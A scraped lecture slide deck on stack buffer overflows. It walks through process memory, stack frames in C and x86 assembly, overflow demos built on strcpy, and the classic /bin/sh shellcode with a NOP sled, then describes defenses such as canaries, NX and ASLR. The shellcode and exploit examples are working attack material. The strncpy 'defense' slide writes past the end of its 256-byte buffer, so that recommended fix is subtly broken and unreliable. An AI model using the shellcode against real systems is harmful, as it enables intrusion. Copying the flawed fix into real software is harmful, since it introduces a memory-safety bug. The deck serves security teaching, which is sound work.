Upload
mildred-kennedy
View
213
Download
0
Embed Size (px)
Citation preview
Overflows & Exploits
In the beginning
• 11/02/1988 Robert Morris, Jr., a graduate student in Computer Science at Cornell, wrote an experimental, self-replicating, self-propagating program called a worm and injected it into the Internet. One of the programs it attacked was fingerd which contained a buffer overflow.
• 02/13/1995 Thomas Lopatic posts to BugtraqHello there,
we've installed the NCSA HTTPD 1.3 on our WWW server (HP9000/720, HP-UX 9.01) and I've found, that it can be tricked into executing shell commands.
• 08/11/1996 Smashing the Stack For Fun And Profit by Aleph1 (Phrack 49)
syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc.
Program Memory
Your Program
High Memory Addresses
Low Addresses
Args & Environment Variables
Stack
Unused Memory
Heap
Un-Initialized Data Segment (bss)
Initialized Data
Text Segment
#include <stdio.h>#include <string.h>
static int counter;static int another_variable = 0xAABBCCDD;
void do_something(char *from) { char to[32]; strcpy(to , from); counter++;}
int main( int argc, char **argv){ char *msg = "This is a constant string";
counter = 0; do_something(msg); printf("%d Somethings Done\n", counter);
return 0;}
RO data
The Stack
• A ‘stack’ is a type of data structure.
• The last object put on to the stack is the first that is removed. (LIFO)
• ‘Push’ – add something to the stack
• ‘Pop’ – remove something from the stack
Function Calls & The Stack
When a function is called:
1. Function arguments are pushed on the stack.
2. Return address is pushed on the stack (in the ‘call’ instruction).
3. The previous function’s base pointer is pushed on the stack.
4. Local variables are pushed on the stack.
Functions Calls & The Stack
Stack
Heap
0xc0000000
0x08000000
#include <stdio.h>
int add(int x, int y) { return x + y;}
int main(int argc, char **argv){ int num = 0; num = add(4,5); printf("num: %d\n", num); return 0;}
Num = 0
5
4
Ret addr
Saved base ptr
(Add’s local vars)
Stack Frame
Stack Frame 1. Function arguments are pushed on the stack.
2. Return address is pushed on the stack (in the ‘call’ instruction).
3. The previous function’s base pointer is pushed on the stack.
4. Local variables are pushed on the stack.
%esp%ebp
Function Calls & The Stack
main: pushl %ebp movl %esp, %ebp subl $24, %esp andl $-16, %esp movl $0, %eax addl $15, %eax addl $15, %eax shrl $4, %eax sall $4, %eax subl %eax, %esp movl $0, -4(%ebp) movl $5, 4(%esp) movl $4, (%esp) call add movl %eax, -4(%ebp) movl -4(%ebp), %eax movl %eax, 4(%esp) movl $.LC0, (%esp) call printf movl $0, %eax leave ret
Stack ebp1
0
%esp
5
4
%eip
ebp2 %ebp
add: pushl %ebp movl %esp, %ebp movl 12(%ebp), %eax addl 8(%ebp), %eax popl %ebp ret
X 9
%esp
int add(int x, int y) { return x + y;}
int main(int argc, char **argv){ int num = 0; num = add(4,5); printf("num: %d\n", num); return 0;}
Overflows
#include <stdio.h>#include <string.h>
static int counter;static int another_variable = 0xAABBCCDD;
void do_something(char *from) { char to[32]; strcpy(to , from); counter++;}
int main( int argc, char **argv){ char *msg = "This is a constant string";
counter = 0; do_something(msg); printf("%d Somethings Done\n", counter);
return 0;}
Ptr to msg
Return Addr
Base Ptr
32 bytes for
‘to’
This
_is_
a_co
nsta
nt_s
trin
g\0
High Memory Addresses
Low Addresses
Overflows
#include <stdio.h>#include <string.h>
static int counter;static int another_variable = 0xAABBCCDD;
void do_something(char *from) { char to[32]; strcpy(to , from); counter++;}
int main( int argc, char **argv){ char *msg = "This is a constant string that is too long for our buffer";
counter = 0; do_something(msg); printf("%d Somethings Done\n", counter);
return 0;}
g_fo
Return Addr
Base Ptr
32 bytes for
‘to’
This
_is_
a_co
nsta
nt_s
trin
g_th
at_is
_too
_lon
Ptr to msg
Shellcode
• Shell code is raw machine code that performs some useful function for an attacker (usually to grant a ‘shell’)
• char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\
x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
• See: http://www.vividmachines.com/shellcode/shellcode.html
Ptr to msg
Overflows
#include <stdio.h>#include <string.h>
void do_something(char *from) { char to[45]; strcpy(to , from);}
int main( int argc, char **argv){ char *msg = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd“ "\x80\xe8\xdc\xff\xff\xff/bin/shAAAABBBB";
do_something(msg);
return 0;}
Return Addr
Base Ptr
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd“ "\x80\xe8\xdc\xff\xff\xff/bin/sh";
BBBB
AAAA
0xc0a104b0
0xc0a104b0
0xc0a104b0
Overflows
#include <stdio.h>#include <string.h>
void do_something(char *from) { char to[256]; strcpy(to , from);}
int main( int argc, char **argv){ char *msg = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90” “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd“ "\x80\xe8\xdc\xff\xff\xff/bin/shAAAABBBB";
do_something(msg);
return 0;}
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd“ "\x80\xe8\xdc\xff\xff\xff/bin/sh";
AAAA
0xc0a104??
\x90 \x90 \x90 \x90
\x90 \x90 \x90 \x90
\x90 \x90 \x90 \x90
\x90 \x90 \x90 \x90
\x90 \x90 \x90 \x90
Defenses
• strncpy(char *dest, char *src, int n)– Use safe(r) functions. – Check the size of the input before you copy
blindly
void do_something(char *from) { char to[256]; strncpy(to , from, 255); to[256] = ‘\0’;}
Defenses
• No eXecute stack – (NX bit)– Code should be run from the text section, the
stack should never be the target of the instruction pointer.
– Make the stack non-executable, and the processor will fault on a stack overflow attack
Defenses
• Stack Canary – Generated by the compiler– A random value is pushed to the
stack after the return address– Before returning from a function
the canary value is checked to seeif it matches the set value
– An attacker cannot determine the canary value before the executionof the program
Ptr to msg
Return Addr
Base Ptr
This
_is_
a_co
nsta
nt_s
trin
g\0
Canary = 0x31332241
Defenses
• Randomized Address Layouts– Segments of memory can be relocated slightly
to produce different offsets each time a program is run
– Hardcoded address (in shellcode for example) will not be valid from one run to the next
Recent Overflows• Microsoft Windows Animated Cursor Remote Code Execution
Vulnerability (3/28/2007)
http://vil.nai.com/vil/Content/v_vul28505.htm
A remote code execution vulnerability exists in the way that cursor, animated cursor, and icon formats are handled. An attacker could try to exploit the vulnerability by constructing a malicious cursor or icon file that could potentially allow remote code execution if a user visited a malicious Web site or viewed a malicious e-mail message. An attacker who successfully exploited this vulnerability could take complete control of an affected system.
– Windows 2000 SP4 – Windows 2003 SP0 - SP2 – Windows XP SP2 – Vista SP0
Links• Attack
– http://www.phrack.org/archives/49/P49-14– http://en.wikipedia.org/wiki/Buffer_overflow– http://seclists.org/bugtraq/1995/Feb/0109.html
• Defense– http://fedoraproject.org/wiki/Security/Features– http://www.grsecurity.net/– http://www.trl.ibm.com/projects/security/ssp/
• Misc– BugTraq - http://www.securityfocus.com/archive/1– VulnDev - http://www.securityfocus.com/archive/82– Metasploit - http://www.metasploit.com/